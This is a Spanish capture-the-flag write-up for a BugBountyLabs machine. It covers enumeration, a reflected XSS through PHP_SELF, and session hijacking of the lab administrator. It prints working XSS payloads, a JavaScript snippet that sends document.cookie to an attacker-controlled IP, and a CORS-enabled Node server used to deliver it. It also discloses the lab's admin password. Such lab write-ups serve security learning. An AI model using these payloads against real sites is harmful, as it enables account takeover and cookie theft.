TrrorLabs
trr0rlabs es una máquina Linux de dificultad Media (Avanzado) de la plataforma de BugBountyLabs. En ella explotaremos un XSS que se acontece gracias a la inexistente sanitización en
$_SERVER["PHP_SELF"]
. A partir del XSS conseguiremos robar la Cookie (Cookie Hijacking) del usuario administrador y leer laflag
necesaria para completar el formulario.
Enumeración
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 172.17.0.2 -oG allPorts

Ahora gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina vÃctima a nuestra clipboard.
A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.
nmap -p22,80 -sCV 172.17.0.2 -oN targeted

Entramos al dominio:

Tras navegar la página veremos que en hay un formulario en el cual podemos enviarle un link al usuario administrador, por lo que comprobaremos si realmente está funcionalidad está activa. Nos montaremos un servidor con python (python3 -m http.server 80
) y realizaremos la siguiente petición.

Tal y como vemos a continuación, nos llega una petición de la máquina vÃctima por lo que se cumple lo que nos indica la página (el usuario administrador se encarga de revisar el link que le mandemos).
Ip de nuestro Docker:



En este punto lo que se nos ocurre es intentar aplicar un Cookie Hijacking, por lo que nos crearemos un archivo JavaScript para robar la Cookie al usuario administrador.
var request = new XMLHttpRequest();
request.open('GET', 'http://172.17.0.1/?cookie=' + document.cookie);
request.send();
A continuación, como link enviaremos la dirección url donde está alojado el archivo de JavaScript encargado de robar la cookie.

Desafortunadamente, tal y como vemos a continuación nos llegará la petición al cok.js pero no nos interpreta el contenido del mismo.

Pasaremos a realizar fuzzing de directorios usando Gobuster de la siguiente forma.
gobuster dir -u http://trr0rlabs.bbl -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

En primer lugar, accederemos a /db y nos encontraremos con el archivo users.db.

Otra manera:

Obtenemos el hash del admin pero al Creakear la contraseña no llegaremos a nada pasaremos a mirar el directorio /backup donde encontraremos un archivo llamado backup.tar.gz.

Tras descargar dicho archivo seguidamente lo descomprimiremos.
tar -xf backup.tar.gz

Al revisar el código de dichos archivos nos llamará la atención el siguiente fragmento <?php echo $_SERVER["PHP_SELF"] ?>
presente en los archivos form.php y admin.php. Investigando por internet nos daremos cuenta que dicho fragmento de código es vulnerable a un XSS.

Explotación
XSS
Gracias a este foro PHP_SELF XSS - Stackoverflow sabremos como acontecer un XSS a partir de un <?php $_SERVER["PHP_SELF"]
, en definitiva serÃa tal que asÃ.
trr0rlabs.bbl/form.php/"><h1>Hola</h1>
Tal y como vemos a continuación, estamos viendo que nos interpreta el código por que seguramente sea vulnerable a un XSS.

En este punto comprobaremos si nos interpreta JavaScript gracias a la siguiente inyección.
trr0rlabs.bbl/form.php/"><script>alert(0)</script>
Tal y como se aprecia en la captura de pantalla nos salta el alert
por lo que afirmamos que es vulnerable a un XSS.

En este punto podemos pensar que hemos terminado el laboratorio, pero la finalidad del mismo es robarle la cookie al admin.
Para poder acontecer un Cookie Hijacking debemos de poder cargar un recurso externo, para ello en primer lugar probaremos la siguiente inyección.
trr0rlabs.bbl/form.php/"><script src="http://172.17.0.1"></script>
Como vemos no nos llega ninguna la petición por lo que no seremos capaces de acontecer el Cookie Hijacking con el anterior payload.

Tras buscar y buscar diferentes formas de cargar recursos externos me encontré con el siguiente recurso Load external resoruce vÃa XSS, en el cual se ejemplifican diferentes formas de cargar recursos externos.
Después de probar diferentes payloads el que realmente nos funcionará será el siguiente.
trr0rlabs.bbl/form.php/"><img src/onerror=import("http:172.17.0.1")>
Tal y como vemos a continuación, gracias a la anterior inyección conseguimos recibir la petición

Usando el mismo payload comprobaremos si podemos cargar un recurso externo.
trr0rlabs.bbl/form.php/"><img src/onerror=import("http:172.17.0.1/cok.js")>
Veremos que no recibimos ninguna petición por lo que algo está funcionando mal.

Mirando la consola de navegador veremos el siguiente error relacionado con la inexistencia de la cabecera Access-Control-Allow-Origin: *
de tipo CORS (Cross-Origin Resource Sharing)

Tras indagar bastante sobre este error nos daremos cuenta que el servidor de python (python3 -m http.server 80
) no nos sirve. Por lo que alternativamente nos montaremos un servidor de nodejs, el cual nos permitirá establecer dicha cabecera que habilitará el acceso a recursos compartidos.
Destacar que alternativamente también podemos montarnos un servidor de python personalizado gracias a la librerÃa
http.server
.
En primer lugar, debemos de tener instalado nodejs y npm, tras ello instalaremos con npm los siguiente paquetes.
npm install express
npm install cors
Una vez tengamos instalados los paquetes express y corss nos montaremos un servidor de nodejs donde serviremos nuestro archivo pwned.js.
const express = require('express');
const cors = require('cors');
const path = require('path');
const app = express();
// Habilitamos el cors, es decir establecemos la siguiente cabecera: Access-Control-Allow-Origin: *
app.use(cors());
app.get('/pwned.js', (req, res) => {
// Muy importante establecer la cabecera Content-Type ya que si no nos interpretará el código JavaScript.
res.setHeader('Content-Type', 'application/javascript');
res.sendFile(path.join(__dirname, 'pwned.js'));
});
app.listen(80, () => {
console.log('Servidor CORS-enabled escuchando en el puerto 80');
});
Modificaremos el archivo pwned.js con el siguiente contenido, básicamente hemos cambiado el puerto donde recibiremos la cookie.
var request = new XMLHttpRequest();
request.open('GET', 'http://172.17.0.1:8081/?cookie=' + document.cookie);
request.send();
Volveremos a realizar la misma petición de antes.
trr0rlabs.bbl/form.php/"><img src/onerror=import("http:172.17.0.1/pwned.js")>
Tal y como se evidencia somos capaces de ver nuestra propia cookie por lo que ya tenemos un link a través del cual podemos robarle la cookie al admin.

Enviaremos el siguiente link al usuario administrador para acontecer un Cookie Hijacking.
Se destaca la importancia de que el link se encuentre URL Encodeado, pues de diferente forma no funcionará.
http://trr0rlabs.bbl/form.php/%22%3E%3Cimg%20src/onerror=import('http:172.17.0.1/pwned.js')%3E
Tras esperar muy poco tiempo veremos que recibimos una petición de la Dirección IP 172.17.0.2
, es decir de la máquina vÃctima por lo que supuestamente tenemos la cookie del usuario administrador gracias a un XSS y a la imprudencia de dicho usuario.

Nos copiaremos dicha cookie y la pondremos en el navegador accediendo a Application -> Cookies en las DevTools del navegador.
Tal y como vemos a continuación corroboraremos que dicha cookie es del usuario administrador.
Cambiar captura ya que la contraseña es trr0radmiñ

Atendiendo al mensaje accedemos a través de ssh y serremos capaces de verla flag necesaria para completar el formulario.

Last updated